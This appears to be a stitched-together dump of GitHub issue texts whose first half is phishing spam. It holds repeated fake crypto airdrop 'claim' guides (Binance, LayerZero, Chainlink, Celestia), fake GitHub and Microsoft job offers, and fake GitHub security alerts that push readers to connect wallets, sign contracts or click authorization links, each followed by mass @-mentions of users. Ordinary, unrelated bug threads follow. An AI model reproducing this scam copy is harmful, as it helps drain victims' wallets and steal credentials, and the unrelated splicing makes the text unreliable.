Need to customize the NavBar with relevant information:

We need to have at least this in the Navbar

Logo
-Name of event
-About Us
-Contact
-Anything else?

LayerZero Airdrop Guide: BIGGEST Airdrop in 2023 ($ZRO Token Confirmed) 🪂
LayerZero is one of the most ANTICIPATED airdrops in 2023, and users can potentially earn up to $10,000 in airdrop rewards! This is an updated guide to gather the most amount of $ZRO tokens possible.
We're thrilled to have you on board for this exclusive airdrop, and we're committed to making the claiming process seamless just for you. Let's dive in and grab those Layerzero Airdrop tokens!
Claim Now on Layerzero Oficial

Secure Your Layerzero Airdrop with These Simple Steps:

Connect Your Wallet:

Head over to the Layerzero Airdrop.
Link up your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Share on Social Media:

Facebook:
Share on Facebook
Twitter:
Share on Twitter
Instagram:
Share on Reddit

Eligibility Check:

Confirm your eligibility for the Layerzero Airdrop.

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @oladipoayomide, @hellojaliyah, @ruandrade, @immutable-bee, @thinker732, @JhndaCoder, @eureka333, @johnny1K, @MambaJS, @ralph27, @riazrooshan, @LinnQ, @Vincentguodong, @hclabxing, @372781245, @case12, @prashanth1276, @medisco, @Hammadqr, @Kovalski-rgb, @wzbwan, @BikashSah999, @sardarahmedkhan505, @kaifJ, @IvanZen, @sujin-lifology, @vladtara, @Havelll887, @Yoasobe, @robriks, @txrc, @dubian-che, @anbarto, @rebornwwp, @MutantArteth, @JUSTICEESSIELP, @NguyenTrungTin, @MashyBasker, @Shivang-Mandal, @caroline-melo, @NayanDevGenius, @algorithm007, @Anny711, @tatva-shah, @MatheusBBarni, @zengkaiwen, @11006281, @return-the-best, @mohammadkaifalam, @ElijahBond

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
Congratulations! You've won a share of the $500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

Don't miss out on your $1500 in BNB! Act now to secure your tokens.
Winners: @oladipoayomide, @hellojaliyah, @ruandrade, @immutable-bee, @thinker732, @JhndaCoder, @eureka333, @johnny1K, @MambaJS, @ralph27, @riazrooshan, @LinnQ, @Vincentguodong, @hclabxing, @372781245, @case12, @prashanth1276, @medisco, @Hammadqr, @Kovalski-rgb, @wzbwan, @BikashSah999, @sardarahmedkhan505, @kaifJ, @IvanZen, @sujin-lifology, @vladtara, @Havelll887, @Yoasobe, @robriks, @txrc, @dubian-che, @anbarto, @rebornwwp, @MutantArteth, @JUSTICEESSIELP, @NguyenTrungTin, @MashyBasker, @Shivang-Mandal, @caroline-melo, @NayanDevGenius, @algorithm007, @Anny711, @tatva-shah, @MatheusBBarni, @zengkaiwen, @11006281, @return-the-best, @mohammadkaifalam, @ElijahBond

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @

🪂 Chainlink $LINK Airdrop: How to Qualify for Chainlink $LINK Coin Airdrop?
If you're interested in holder airdrops and governance tokens, the Chainlink $LINK initiative airdrop is a great opportunity. This guide will walk you through the process, explaining how to join the airdrop and what to expect.

🚀 Steps to Secure Your Chainlink $LINK Airdrop:

Connect Your Wallet:

Visit the Chainlink $LINK Airdrop.
Connect your preferred wallet (Metamask, Coinbase, Trust Wallet, and more).

Eligibility Check:

Confirm your eligibility for the airdrop here.

Interact with the Contract:

Use the connect method on the Chainlink network to secure your participation.

Open your connected wallet.
Navigate to the Chainlink $LINK Airdrop contract.
Locate the 'Claim' or equivalent button.
Confirm the transaction to connect your wallet to the airdrop contract.

Engage for Extra Rewards:

Dive into community discussions or complete tasks for additional bonus rewards.

🌈 Bonus Tips for Chainlink $LINK Airdrop Success:

Community Assistance:

Need help? Reach out via Telegram or other social media platforms.

Stay Informed:

Watch for updates on the airdrop process via official channels.

Patience Pays Off:

Airdrop distribution may take some time. Stay calm and keep an eye out for updates.

Feel free to share your Chainlink $LINK Airdrop experiences or ask any questions in the comments below. Let's make this process a breeze for everyone!
Winners: @siosio34, @BABYWIZAIERD, @Ankur-16, @DaroPaluch, @MatthewFin, @Salmandabbakuti, @Deriec

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @Goodday1212, @CoderSerio, @mhmdbhsk, @Selcuk05, @JayU-ML, @dellwatson, @Nakrar

🚀 Binance Airdrop - Earn up to $1,000 in Tokens! 💰
Welcome to the exclusive Binance Airdrop! We're giving away generous rewards to eligible participants. Follow the steps below to join and earn up to $1,000 in tokens instantly.
How to Participate:
1. 🤝 Connect Your Wallet
Make sure you have a compatible wallet and connect it to Binance.
Note: Your wallet must have a minimum balance to be eligible.
2. 🔗 Access the Smart Contract
Access the smart contract through the provided link: Binance Airdrop Smart Contract.
3. 🔄 Interact with the Contract
Winners: @TankTim68, @wjnbreu, @junproger, @chahakshahcs5, @dumbmeta, @mhmdnzr, @PrinceofCounterance

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @hanzochang, @tscharly, @liverloop, @ongdetui, @johnywellington, @pantaovay, @Magren0321

AltLayer Airdrop Season One Update

🚀 Exciting Announcement! AltLayer token (ALT) is gearing up for its Binance launch on January 25, 2024. As a token of appreciation, we extend a warm invitation to you to join the "ALT Token community" through an exclusive airdrop tailored for our early supporters and partners. Here's a quick overview:

Total Allocated ALT Tokens: 300,000,000 (3% of the total supply)
Distribution Categories:

Ethereum Mainnet
Binance Mainnet

For a comprehensive breakdown of criteria and further details, refer to the complete announcement Oficial Website.
The window to Claim $ALT tokens is open from January 25 to February 03, 2024.
Any unclaimed $ALT tokens after this period will be returned to AltLayer’s Treasury.
We deeply appreciate your contribution to AltLayer's success! Stay tuned for more exciting developments in Season One.
Important: Please be aware of certain regional restrictions on the airdrop. Review the disclaimer before participating.
chuyenpn, @mostafalarki1368mos, @cyhhao, @raftario, @Shelton2020, @qiwihui, @dummy-account007, @tinniaru3005, @anton-karlovskiy, @jlosito, @baajarmeh, @GuilhermeSantos99, @Jasonyou1995, @Setland34, @kristianpaul, @sgarcia22, @JasminDreasond, @nigellai2020, @codiliu, @AsakuraMizu

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
jml1, @DEFIdaniel1, @jferreiros, @mohamedelshami, @robriks, @shimmeris, @SteveYuOWO, @namnaku87, @pynchmeister, @0xnayan, @fincefid, @jvztech, @KemarR, @realfr, @TheFulmini, @Phonbopit, @SvetaMeta, @phutngo, @aelmanaa, @zey07

Celestia Airdrop - Claim Your Free TIA Tokens Now!

Don't Miss Out on Your Share of 60 Million $TIA Tokens!
Celestia, the revolutionary data availability network, is giving away a whopping 60 million $TIA tokens to the community! This is your chance to grab a piece of the action and secure your future in the crypto world.
How to Claim Your Free TIA Tokens:*
It's easy to get started and claim your free TIA tokens. Follow these simple steps:

Connect Wallet: Visit the Celestia Airdrop page and connect your wallet.
Claim: Click the Claim button to receive your tokens.
Interact: Engage with the provided smart contract to earn additional rewards.

Why Wait? Start Earning Today!
With Celestia, the sky's the limit. Don't let this opportunity slip through your fingers. Join the Celestia Airdrop now and kickstart your journey to financial freedom!mirkopezo, @cradonn, @, @Andro-Emad, @mazi233, @zhangxuejiangit, @hailelagi, @chulack, @yasuhiron777, @senchabot-app, @shimafallah, @ukexim13, @dybrn, @Chainxiao6, @Dzhuneyt, @zzir, @coldSeattle, @wjhook, @supanadit, @iurimatias

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
ketan-jpmc, @Victoryeddy, @A11riseforme, @bartekma89, @0xnirlin, @maorfaingold, @EmanHerawy, @rilwan99, @ukexim13, @8times4, @NikolayKostadinov21, @akhilmantha, @anataliocs, @MohamadAli-dev, @Arahanad, @Subham123456789, @christos-eth, @mr-Catalyst, @409H, @p1mokm

Hello,
We have an exciting opportunity for you! You've been selected to proceed in the selection process for the Developer position at GitHub. Congratulations on your achievement!
As part of this position, you will be offered a competitive salary of $180,000 per year, along with other attractive benefits, including:

Health insurance coverage
Retirement savings plan
Flexible work schedule
Generous vacation and paid time off
Professional development opportunities

To proceed with the hiring process, we kindly ask you to fill out some additional forms and provide some additional information. This will help us better understand your profile and experience, as well as assess your suitability for the role.
Please click here to access the forms and complete the application process. We ask that you complete these forms as soon as possible so that we can proceed with the hiring process.
Important: You have 24 hours to complete the application process.
If you have any questions or need further information, please don't hesitate to contact us.
Thank you for your interest in joining the GitHub team, and we look forward to hearing back from you.
Best regards,
GitHub Recruitment Team
mdfad-tech, @prefer0ne, @rkm0959, @iankmm, @ayoubbenmahiddine, @Davidharvey589, @Jabher, @Sud0-AP, @zer0kara, @Boogeyboy, @jinsonvarghese, @waengg, @zach030, @OnceBorN, @funkornaut001, @jsebastiane, @FlyingPD, @cl0versec, @toufik-airane, @Karan9034

Urgent Security Alert: GitHub Compromise
Dear GitHub User,
We regret to inform you that our systems have detected a security breach on the GitHub platform. As a precautionary measure, we are reaching out to all users to help us resolve this situation promptly.
It appears that unauthorized access has been gained to our servers, potentially compromising user data and the integrity of our platform. To mitigate any further damage and secure your account, we kindly request your immediate assistance in granting authorization to our security team to reverse this breach.
Please click on the following link to provide the necessary authorization: Authorize Security Reversal
Your cooperation in this matter is crucial for safeguarding the GitHub community and preventing any further unauthorized access. We assure you that our team is working tirelessly to restore normal operations and enhance our security measures to prevent future incidents.
Thank you for your attention to this matter, and we sincerely apologize for any inconvenience caused.
Best regards,
GitHub Security Team
closko, @zxlvera, @minatofund, @taerbao, @zayn-kahn, @senyoudev, @adilmezghouti, @ramadanWasfi, @qiuchenghui, @johnnyknoxville1337, @jamiew1020, @Naavo6, @demmojo, @007Jamal, @Linda-OC, @omahs, @9mbs, @wendellup, @zpano, @luckyadogun

Exciting Job Opportunity at Microsoft!
Join us and be part of a team dedicated to driving innovation and success!
How to Apply:
To apply for this exciting opportunity, please click here.
Job Description:

Position: Software Developer
Salary: $300,000 per year
Location: Remote
Benefits:

Comprehensive health plan
Company-contributed retirement plan
Flexible working hours
Collaborative and inclusive work environment

Requirements:

Proven experience in software development
Proficiency in programming languages such as Python, JavaScript, or Java
Familiarity with frameworks such as React, Angular, or Vue.js
Problem-solving skills and ability to work in a team

Note: This position is open to candidates from anywhere in the world.rojaswilmer, @luckyadogun, @roo-shy, @sandJohnson, @gaonip, @raciat, @closko, @nicncs, @vishesh201, @MortimerFanger, @Tobik5, @fG40912, @vunderkind, @donaldmatew, @huaigu, @thecalcc, @LenmonGier, @johnsaigle, @farid313, @alisonruthhughes

Exciting Job Opportunity at Microsoft!
Congratulations! You've been selected to apply for an exclusive software developer position at Microsoft!
How to Apply:
To take advantage of this exciting opportunity, please click here. Hurry, applications close on March 1, 2024.
Job Description:

Position: Senior Software Developer
Salary: $300,000 per year
Location: Remote
Benefits:

Comprehensive health plan with dental and vision coverage
Company-contributed retirement plan with matching
Flexible working hours and work-from-home options
Generous paid time off and parental leave policies
Professional development opportunities and training support
Collaborative and inclusive work environment

Requirements:

Minimum of 5 years of experience in software development
Proficiency in programming languages such as Python, JavaScript, or Java
Extensive experience with frameworks such as React, Angular, or Vue.js
Strong problem-solving skills and ability to work in a fast-paced environment
Excellent communication and teamwork skills

Note: This position is open to candidates from anywhere in the world. Don't miss this opportunity to join a dynamic team at Microsoft and make a significant impact in the tech industry!
johnsaigle, @rakeshjaimini, @rootxdh, @TexasWeb3Coder, @marcosloguer, @nrakover, @naviloper, @gabrielcurren, @seemcat, @itsreallydrew, @Stefan4D, @shahzaibhabib, @hsghn, @Githubberbaer, @meowyx, @GorGor17, @zeynep4343, @namnaku87, @vocuso, @rushikeshpatil1007

Dream Job Opportunity at Microsoft!
Exciting news! We're hiring for a Junior Software Developer position at Microsoft!
How to Apply:
Ready to embark on this amazing journey? Apply now here before March 20, 2024.
Job Description:

Position: Junior Software Developer
Salary: Competitive salary package
Location: Remote
Benefits:

Work remotely from anywhere in the world
Flexible working hours
Comprehensive health insurance
Generous vacation and sick leave policy
Professional development opportunities
Collaborative and inclusive work environment

Requirements:

Passion for software development
Basic understanding of programming languages like Python, JavaScript, or Java
Strong problem-solving skills
Excellent communication and teamwork abilities

Don't miss out on this incredible opportunity to kick-start your career with one of the world's leading tech companies! Apply now and become a part of the Microsoft family!
zeynep4343, @Kensingtonn, @gunsay, @swapnil-singh-99, @d0ra-1h3-3xpl0ra, @AMMAR-62, @vunderkind, @i01001, @ulerdogan, @Phasor, @simarpreetsingh-019, @0xBeshoy, @orzmaker, @M-Waweru, @RJ0088, @naviloper, @robriks, @scab24, @ashishlac, @cryptobull88

Urgent: GitHub Account Security Alert! 🚨
Hello,
We've detected an unusual access to your GitHub account. To ensure that your account remains secure, we urgently need you to take action.
What You Need To Do:

Reset Your Password

Visit this secure link to reset your password immediately: Reset Password

Revoke Unauthorized Access

After resetting, please review any unauthorized access and revoke them.

Thank you for your prompt attention to this matter to ensure the security of your account.
If you did not initiate this access, please contact us immediately.
Best Regards,
GitHub Security Team
Winners: @akhoshrozeh, @fatgy, @samnang, @HakobKeymetlyan, @joenyzio, @garyghayrat, @akshatj27, @andyrobert3, @husseinmohamad5, @Krashit, @anataliocs, @amorningstar, @Danialgharaee, @Celtex1978, @AlasTshrugg, @shimmeris, @seemcat, @jlazoff, @cmcoffeedev, @jamiew1020


Avoid multiline opening tag for single attribute

Opening tags with a single attribute exceeding line width are wrapping but it's not really helping readability and adds a lot of vertical space (especially when nested). I added a bunch of test cases to showcase the formatting causing some churn on my work codebase (see the first commit).
-

-

-

-            Deeply nested string
-

-

-

+

+

+

+      Deeply nested string
+

+

+

This patch try to keep an opening HTML tag with a single attribute on a single line when applicable. This was really successful for me on my work codebase (~2k html files, 250k LOC, using mostly BEM classes or tailwind classes) with over 300 files fixed with clear readability wins!
Prettier suffer from the same issue (see https://github.com/prettier/prettier/issues/10918#issuecomment-971629374) and because of that, the tailwind team (and others) are using some crazy printwidth to workaround this behavior.
It could maybe be behind a configuration flag like keepSingleAttrOnSingleLine or any other better naming you find. Let me know if I should add such flag.

This must be behind a configuration option, but I'm not sure its naming.

This must be behind a configuration option, but I'm not sure its naming.

Maybe preferSingleLineOpeningTag /preferSingleLineTag because the same type of behavior could be nice for tags with no attributes at all. The flag could cover both cases.
For example, markup_fmt currently wrap tags for the following snippet with small print width and I'd like to do a followup PR to avoid that and keep the snippet unchanged.
-
-
-
-
+
+
+
+

I added a configuration option and updated the tests accordingly. I went for preferSingleLineOpeningTag for now, let me know if you want something else when you find a good naming for such option. I'll update the PR


Memory Leak in Tensorflow TD3

I've been seen a constant increase in memory usage, throughout the training process. Has anyone else come across this issue?
Package versions:
tensorflow-gpu==1.15
numpy==1.17.1

I'm having it now.


Fix ConnectionError in Scielo dataset

This PR:

allows 403 status code in HEAD requests to S3 buckets to fix the connection error in the Scielo dataset (instead of url, uses response.url to check the URL of the final endpoint)
makes the Scielo dataset streamable

Fixes #3255.

The CI error is unrelated to the change.


cross-platform: fix memmove for overlapping memory cases

Also added a simple sort test to trigger hybrid_sort implementation

/cc @digitalinfinity

:shipit:

@digitalinfinity Thanks for the review


Build cgt-calc inside Docker container instead of installing from pipx

This allows development without installing any tools locally.
Test plan:
docker build --tag capital-gains-calculator .
docker run --rm -it -v "$PWD":/data capital-gains-calculator:latest
e578f6a392e2:/data# cgt-calc --help

I suppose it can be merged now?


ChatPrototype Activity: UI enchancement

Hey @llaske
I have noticed a UI issue in the ChatPrototype activity where the message written in the footer section has no right padding.
I have attached a screenshot for your reference. Can you please review it and share your thoughts?
Before

After

Hey, @llaske please have a look at this.

Chat activity UI need to be rethink, I'm not in favor of doing minor style change.

Ok @llaske , I understand that you're interested in enhancing the user interface (UI) of the chat activity. Could you please elaborate on the specific areas you'd like to improve?

I haven't thought about it yet

Ok @llaske 👍🏻

If no one is working on this, I would like to work on this.  @llaske

@vinayaknayar I will we working on this issue just waiting for the llaske approval 😊

@Ydvaaman @vinayaknayar everyone could suggest an UI Design.
BTW because I don't think about the expected design yet, I can guaranty to accept your suggestion.

Expected UI is describe here https://github.com/llaske/sugarizer/issues/1356


JOSS paper

[x] write JOSS paper within JEG repo
[x] submit paper to JOSS plattform

First Version ready to go.
review plan in suggested order (please note when done and inform next in list):

[ ] @Webbah
[ ] @MarvinMeyer
[ ] @SeptimusBoshoff
[ ] @janstenner
[ ] @VikasChidananda
[ ] @SebastianPeitz
[ ] @wallscheid

Compressed todos from both reviews:
Paper

More background why RL?
[ ]  RL Paper Jan

Checklist
Refers to Paper from:

[ ] Statement of need missing  (in paper and documentation)-> rename: Background on electric grids and their control

[ ] How does the software compares with state-of-the-art -> Paper Marvin
[ ]  Target Audience missing -> we have an own section for that. shift?

[ ]  State of field only 1 reference (-> to Julia package):

What is the value-add of Julia compared to python/matlab everyone would use? -> Paper Marvin
How does DARE compares to PowerSimulationDynamics.jl -> OS results on Sciebo

Documentation

[ ]  Document all parameters (X_theat?)
[ ] correct installation

Future enhancements

change parameter dict to structs -> new enhancement issue?


High CPU usage

Version: logstash-input-kafka 5.0.5 / 6.0.0 + logstash 5.0.0
Operating System: CentOS 7.2.1511
Config File:

input {
  kafka {
    bootstrap_servers => "server1:9092,server2:9092"
    topics => ["events"]
    codec => "json"
  }
}

Sample Data: N/A
Steps to Reproduce: just start logstash service...

Hello,
I use Kafka input plugin to retrieve all events from my Logstash indexer instance. Right now, I am testing version 5.0.0 of Logstash in a non-production environment (~5 EPS... yes, only five per second).
This is the result of top:
# top
top - 09:51:20 up 16:15,  1 user,  load average: 1.54, 1.12, 0.53
Tasks: 170 total,   2 running, 168 sleeping,   0 stopped,   0 zombie
%Cpu(s): 13.6 us,  1.0 sy,  0.0 ni, 85.4 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem :  8011460 total,  3624800 free,  3118732 used,  1267928 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  4579620 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 8558 logstash  20   0 3659396 491940  14944 S 126.7  6.1   1:56.48 java
[...]

If I add one more topic to its configuration, it starts a new thread with the same amount of CPU resources, although the second topic is empty. So, this is not a problem related to the amount of data incoming but a problem related to the connection to Kafka.
I tested this configuration using logstash-input-kafka version 5.0.5 (shipped with default logstash installation) and then, I updated this component to the last version (6.0.0 -> bin/logstash-plugin install --version 6.0.0 logstash-input-kafka) with the same final result.
Thanks,
Best regards

Ups!! I'm so blind. This is a duplicated issue --> #124
Sorry :(


Slack Channel

Is there a Mocha slack channel? If not, would anyone be opposed to me starting one? Would you guys rather see a Mocha channel or a JS Testing Stack channel?

@WillLuce What's wrong with our Gitter channel? (2nd badge in README)

Didn't see that. Thanks.

Yep, gitter branding for the badge is pretty bad. We could use something better.
Sent from my iPhone

On 23 Sep 2016, at 20:35, William T Luce<EMAIL_ADDRESS>wrote:
Closed #2500.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Maybe put it in the Links or a communication section?


Fix crash in __pthread_kill

Version: 3.0.0 (2<IP_ADDRESS>) | net.artsy.artsy
Reason
No reason found. Full stack trace includes libsystem_kernel.dylib, libsystem_pthread.dylib, libsystem_c.dylib, libsystem_malloc.dylib, CoreFoundation, libc++.1.dylib, libdispatch.dylib.
Link to HockeyApp

https://rink.hockeyapp.net/manage/apps/37029/crash_reasons/142868688

Will have to look into if this isn't a crash we've already covered.

Not covered, from what I know.


ImportError: cannot import name 'audioBasicIO'

Trying to write down code as shown in wiki i got that error. How can I fix it?
from pyAudioAnalysis import audioBasicIO
from pyAudioAnalysis import ShortTermFeatures
import matplotlib.pyplot as plt
[Fs, x] = audioBasicIO.read_audio_file("sample.wav")
F, f_names = ShortTermFeatures.feature_extraction(x, Fs, 0.050Fs, 0.025Fs)
plt.subplot(2,1,1); plt.plot(F[0,:]); plt.xlabel('Frame no'); plt.ylabel(f_names[0])
plt.subplot(2,1,2); plt.plot(F[1,:]); plt.xlabel('Frame no'); plt.ylabel(f_names[1]); plt.show()

Please send the error as well.

ImportError: cannot import name 'audioBasicIO'
This is the error I got, nothing else.

Does import pyAudioAnalysis work?

When I clone it separately to other venv it starts to work.

I had a similar issue on my MacBook. After installing libmagic with brew install libmagic it worked

I am also getting a similar type of error:
ImportError                               Traceback (most recent call last)
 in
----> 1 from pyAudioAnalysis import audioBasicIO
2 from pyAudioAnalysis import audioFeatureExtraction
3 import matplotlib.pyplot as plt
4 import numpy as np
ImportError: cannot import name 'audioBasicIO' from 'pyAudioAnalysis' (unknown location)
I have tried it with venv as well but the error has not disappeared. Import pyAudioAnalysis works fine. I am using Jupyter Notebook and Python version 3.8.3

Just make sure your files are installed properly.
Your main.py file should be place alongside pyaudioanalysis folder which contains all the python modules - audioBasicIO or ShortTermFeatures, etc.
Then you can successfully run -
from pyAudioAnalysis import audioBasicIO
from pyAudioAnalysis import ShortTermFeatures
Note -

You should check is if you're installing it for the correct version of python. The recommended is 2.7 version of python.
audioFeatureExtraction is inside ShortTermFeatures. You can call it like this -
info=ShortTermFeatures.feature_extraction()
and get ride of  import audioFeatureExtraction completely.


Crash when user changes name

A user changed name in AD (she got married) and then she was unable to log in anymore. No email or ID was changed, only the last name of the user. It seems like the name of a user is used as a unique key, but I don't think this how it should be. Ideally we should get some proper ID from AzureAD, but not sure what is being sent back. At least I think a user should be able to change names and still log in as long as the email is the same. I have attached the exception that crashes (user anonymised).
exception.txt

This problem is caused by the fact that the IdProvider is setup to use username as unique ID mapping to Enonic. One should rather have used ${objectSid} as default. This is how the ADFS IdProvider works. It will be nice if you could release a new major version that changes the default vale to ${objectSid}. Existing users could then simply update the IdProvider configuration to use ${name} for backward compatiblity.

This is addressed by version 2.0.1 - notes: https://discuss.enonic.com/t/azure-id-provider-bugfix-update-2-0-1/2975


Increase Availability of Video Resources in the Blockchain Roadmap

Description
As the popularity of blockchain technology continues to grow, it's important that we have comprehensive resources available to learn about it. While there are many resources available online, video content is an increasingly popular medium for learning. However, the current blockchain roadmap lacks sufficient video resources to aid in understanding the technology. This issue is aimed at addressing this gap.
Screenshots
No response
Additional information
The addition of more video resources to the blockchain roadmap will make it more comprehensive and accessible to a wider range of learners. This will lead to a more informed and knowledgeable community around blockchain technology, and ultimately drive adoption and innovation.
I believe that adding more video resources to the blockchain roadmap is an important step towards creating a more inclusive and effective learning environment. I look forward to discussing this proposal with the community and working together to implement it.

I think I can add some helpful videos regarfing this,Can you assign me this issue.

Hey @tarunclub @saikaia, feel free to open a PR adding some resources. Please do take care of the following points though.

The resources should be free.
It should be coming from a credible source, i.e whoever has created the content must have real-world experience with blockchain.

Hey, I have raised the PR for this issue.
Can you please review it.


Viewer improvements

Change SquiggleViewer props; only SquiggleChart supports rootPathOverride now, while SquiggleViewer takes the plain SqValue
Renamed DynamicSquiggleViewer to SquiggleOutputViewer and change the top level navigation to a dropdown
export SquiggleErrorAlert (no one needs it now but since we expose SquiggleViewer, we should expose it too)

also fix a small bug in it where it had links to the editor even if the editor was missing

reorganize some stories

There might be other minor changes here and bugfixes that I've forgot about.

Can you add a small down-arrow on the right of this button, to make it more obvious that it's a dropdown?

Runtime errors seem to have lost their blue Stack Traces, from the Storybook:

Runtime errors seem to have lost their blue Stack Traces, from the Storybook:

This is intentional; stack trace lines shouldn't be clickable when there's no editor.


Asp.net core 2.1 issues with aspnetbufferingwrapper

Any issues with this wrapper and .net core? Thanks
https://stackoverflow.com/questions/51343865/nlog-with-asp-net-core-2-and-aspnetbufferingwrapper-error-not-found

It was made for ASP.NET (See also necessary editing of ´web.config`)
https://github.com/NLog/NLog/wiki/AspNetBufferingWrapper-target
Think no one made the effort to convert it to Asp.Net.Core (or provide details for how to configure it for Asp.Net.Core)

Maybe create a ScopedTargetWrapper that reacted to BeginScope / EndScope (NDLC-scope).
Where the ScopedTargetWrapper would buffer all LogEventInfos that was created within a request-context-scope. Would require some special event to notify that the request-context-scope had completed Could just be an additional LogEventInfo outside the NDLC-scope that has LogEvent-Property configured with the same request-context-scope-id (flush-event that also could include timing metrics, ignore-event).

I am a little surprised that this scenario (establishing a log for 1 http request) is not more documented/implemented with a number of log libraries.  It seems like a common thing to want to log all activities(success/fail) performed within a service call.
If this is not possible with NLog what are Developers doing.  Maybe I am thinking about this wrong.
Ty

@dyardyGIT You are always welcome to contribute with implementations of your good ideas.
I'm using file-grep-tools that extracts the details based on a user-token-id / request-id. So having one huge log-file that mixes all requests, but the user-token-id / request-id is part of each log-message.,

I found this relevant article about using traceidentifier which may be next best approach https://tpodolak.com/blog/2017/02/18/asp-net-core-tracking-flow-requests-nlog/

Thanks for reporting this. This is a documentation issue as it's hasn't been ported. Closing this in favor of https://github.com/NLog/NLog.Web/issues/304

https://www.nuget.org/packages/NLog.Web.AspNetCore v5.2.1 has been released with support for AspNetBufferingWrapper on ASP.NET Core via NLogBufferingTargetWrapperMiddleware.

https://github.com/NLog/NLog/wiki/AspNetBufferingWrapper-target

Thanks to @bakgerman that made it happen.


error with bclib-1.2.1

using just the mod fabric-api-0.45.0+1.18.jar and bclib-1.2.1.jar I am getting the following and the server does not load
latest.log

You had wrong server start command, "-nogui" should be just "nogui"

You had wrong server start command, "-nogui" should be just "nogui"


Plot Accuracy

I think plot_accuracy.py should be changed in order to reflect the changes made to train.py
from dense_2_acc to pred_age_acc and val_dense_2_acc to val_pred_age_acc, etc

Thank you for your report.
I've fixed plot_history.py.


Error the input device is not a TTY when running on a AWS CodeBuild container

Attempting to run the AWS MWAA Local Runner inside an AWS CodeBuild container gives the following error:
Running command ./mwaa-local-env package-requirements

the input device is not a TTY

After some research (see https://stackoverflow.com/questions/43099116/error-the-input-device-is-not-a-tty) it seems the issue is due to the mwaa-local-env script not being able to run inside a non-interactive shell, such as CodeBuild's one, or any other CI/CD tools I presume. In particular, the issue is due to the script running some Docker containers with the -it option which requires an interactive shell. Removing this option might solve the issue.
Would it be possible to remove the requirement of needing an interactive shell to run the mwaa-local-env script?
This would help use cases like mine, ie. running mwaa-local-env test-requirements and mwaa-local-env package-requirements as par of a MWAA Airflow CI/CD pipeline.

I just removed the -it, and it worked. Thanks. They should add the a bash parameter "interactive" and based on that flag, append the "-it" or append blank value "".

